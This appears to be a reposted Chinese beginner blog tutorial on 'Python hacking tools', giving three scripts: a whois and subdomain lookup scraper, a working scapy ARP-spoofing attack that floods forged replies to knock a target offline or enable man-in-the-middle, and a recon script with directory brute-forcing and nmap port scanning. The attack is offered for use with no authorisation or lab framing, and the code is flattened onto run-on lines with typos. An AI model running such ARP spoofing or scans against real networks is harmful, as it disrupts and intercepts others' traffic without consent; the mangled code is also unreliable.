這篇文章給大家介紹怎樣進行新手Python黑客工具入門,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
Python黑客工具入門
為了滿足新手對Python的追求,特寫了三個初級Python入門工具。第一期寫了三個初級工具,希望新手看完以后可以對Python的腳本有一個基本了解。
一件套:pythond requests模塊,構造一個whois信息收集器;
二件套:Python編寫一個arp斷網攻擊;
三件套:目錄信息收集。
簡單梳理一下此工具需要具備哪些功能。腳本獲取信息如下:
IP信息
子域名
備案
注冊人
郵箱
地址
電話
具體操作如下:
我們要用到的模塊是requests
python環境:py3
安裝方法:
pip install requests或python steup.py install
通過http://site.ip138.com來進行查詢
http://site.ip138.com/輸入你要查詢的域名/domain.html #這個目錄用于查詢IP解析記錄
htp://site.ip138.com/輸入你要查詢的域名/beian.html #這個用于查詢子域名
http://site.ip138.com/輸入你要查詢的域名/whois.html #這個用于進行whois查詢
好了現在我們開始構造我們的代碼,代碼里面有詳細的注釋
#首先我們要導入requests模塊和bs4模塊里的BeautifulSoup和time模塊import requestsimport timefrom bs4 import BeautifulSoup#設置好開始時間點strat=time.time()def chax(): #詢問用戶要查詢的域名 lid=input('請輸入你要查詢的域名:') #設置瀏覽器頭過反爬 head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} #設置好url url="http://site.ip138.com/{}/".format(lid) urldomain="http://site.ip138.com/{}/domain.htm".format(lid) url2="http://site.ip138.com/{}/beian.htm".format(lid) url3="http://site.ip138.com/{}/whois.htm".format(lid) #打開網頁 rb=requests.get(url,headers=head) rb1=requests.get(urldomain,headers=head) rb2=requests.get(url2,headers=head) rb3=requests.get(url3,headers=head) #獲取內容并用html的方式返回 gf=BeautifulSoup(rb.content,'html.parser') print('[+]IP解析記錄') #讀取內容里的p標簽 for x in gf.find_all('p'):#使用text的內容返回link=x.get_text() print(link) gf1=BeautifulSoup(rb1.content,'html.parser') print('[+]子域名查詢')for v in gf1.find_all('p'): link2=v.get_text() print(link2) gf2=BeautifulSoup(rb2.content,'html.parser') print('[+]備案查詢')for s in gf2.find_all('p'): link3=s.get_text() print(link3) gf3=BeautifulSoup(rb3.content,'html.parser') print('[+]whois查詢')for k in gf3.find_all('p'): link4=k.get_text() print(link4) chax() end=time.time() print('查詢耗時:',end-strat)
你們知道arp攻擊的原理嗎?如果不知道不要緊,下面開始介紹
arp攻擊原理:
通過偽造IP地址與MAC地址實現ARP欺騙,在網絡發送大量ARP通信量。攻擊者只要持續不斷發送arp包就能造成中間人攻擊或者斷網攻擊。(PS:我們只需要scapy里的一些參數就可以實現)
scapy介紹:
Scapy是一個Python程序,使用戶能夠發送,嗅探和剖析和偽造網絡數據包。此功能允許構建可以探測,掃描或攻擊網絡的工具。
換句話說,Scapy是一個功能強大的交互式數據包處理程序。它能夠偽造或解碼大量協議的數據包,在線上發送,捕獲,匹配請求和回復等等。Scapy可以輕松處理大多數經典任務,如掃描,追蹤,探測,單元測試,攻擊或網絡發現。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一個小例子:
ps:scapy正確的食用手冊請認真看完介紹和部分基礎:【傳送門】
安裝scapy:
py2安裝方法:
pip install scapy
py3安裝方法:
pip install scapy3
更多的安裝方法:【傳送門】
我的系統環境是:Kali Linux下
各位讀者可以考慮一些使用以下系統環境:
Centos
Ubuntu
Mac os
ps:盡量不要使用windows,windows會報錯!
缺少windows.dll,具體這個dll安裝后會不會又報錯官方沒給出答復
編寫攻擊的腳本: Ether是構造網絡數據包 ARP進行ARP攻擊 sendp進行發包
import os import sys from scapy.layers.l2 import getmacbyip from scapy.all import ( Ether, ARP, sendp ) #執行查看IP的命令 ifconfig=os.system('ifconfig') print ifconfig gmac=raw_input('Please enter gateway IP:') liusheng=raw_input('Please enter your IP:') liusrc=raw_input('Please enter target IP:') try:#獲取目標的mac tg=getmacbyip(liusrc) print tg except Exception , f:print '[-]{}'.format(f) exit() def arpspoof(): try: eth=Ether() arp=ARP( op="is-at", #arp響應hwsrc=gmac, #網關macpsrc=liusheng,#網關IPhwdst=tg,#目標Macpdst=liusrc#目標IP)#對配置進行輸出print ((eth/arp).show())#開始發包sendp(eth/arp,inter=2,loop=1) except Exception ,g: print '[-]{}'.format(g) exit() arpspoof()
從受害者角度看
下面我們來寫一個收集信息的腳本。
準備:
安裝好requests,bs4模塊: pip install requests pip install bs4 或者去下載好對應的模塊壓縮包 然后找到steup.py執行python steup.py install
思路: 使用requests.headers()獲取http頭部信息 通過htp響應碼來判斷robots是否存在 通過http響應碼判斷存在的目錄 通過nmap判斷開放的端口(PS:這里我是使用os模塊來進行nmap命令掃描)我這邊的nmap模塊一調用,nmap就會出現停止運行 通過爬取某網站獲得對應的whois,IP反查域名的信息。
開始:
import requestsimport osimport socketfrom bs4 import BeautifulSoupimport time#獲取http指紋def Webfingerprintcollection(): global lgr lgr=input('請輸入目標域名:') url="http://{}".format(lgr) header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} r=requests.get(url,headers=header) xyt=r.headers for key in xyt: print(key,':',xyt[key]) Webfingerprintcollection() print('================================================')#判斷有無robots.txtdef robots(): urlsd="http://{}/robots.txt".format(lgr) header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} gf=requests.get(urlsd,headers=header,timeout=8) if gf.status_code == 200: print('robots.txt存在') print('[+]該站存在robots.txt',urlsd) else: print('[-]沒有robots.txt') robots() print("=================================================")#目錄掃描def Webdirectoryscanner(): dict=open('build.txt','r',encoding='utf-8').read().split('\n') for xyt in dict: try: header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urljc="http://"+lgr+"{}".format(xyt) rvc=requests.get(urljc,headers=header,timeout=8)if rvc.status_code == 200: print('[*]',urljc) except: print('[-]遠程主機強迫關閉了一個現有的連接') Webdirectoryscanner() print("=====================================================") s = socket.gethostbyname(lgr)#端口掃描def portscanner(): o=os.system('nmap {} program'.format(s)) print(o) portscanner() print('======================================================')#whois查詢def whois(): heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr) rvt=requests.get(urlwhois,headers=heads) bv=BeautifulSoup(rvt.content,"html.parser") for line in bv.find_all('p'): link=line.get_text() print(link) whois() print('======================================================')#IP反查域名def IPbackupdomainname():wu=socket.gethostbyname(lgr) rks="http://site.ip138.com/{}/".format(wu) rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} sjk=requests.get(rks,headers=rod) liverou=BeautifulSoup(sjk.content,'html.parser')for low in liverou.find_all('li'): bc=low.get_text() print(bc) IPbackupdomainname() print('=======================================================')
關于怎樣進行新手Python黑客工具入門就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。